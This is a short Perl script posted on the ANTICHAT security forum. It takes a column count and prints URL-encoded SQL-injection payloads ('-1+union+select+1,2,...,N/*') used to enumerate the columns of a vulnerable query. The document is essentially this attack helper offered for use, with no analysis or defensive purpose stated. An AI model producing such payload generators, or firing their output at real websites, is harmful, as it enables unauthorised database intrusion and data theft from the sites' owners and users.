ANTICHAT — форум по информационной безопасности, OSINT и технологиям

#!/usr/bin/perl
while (1) {
print "\n\nNumber of columns\n";
$id = <STDIN>;
chomp ($id);
$x = 1;
print "-1+union+select+";
while ($x < $id) {
	print "$x,";
	$x++;
}
if ($x = $id) {
	print "$x/*";
}
}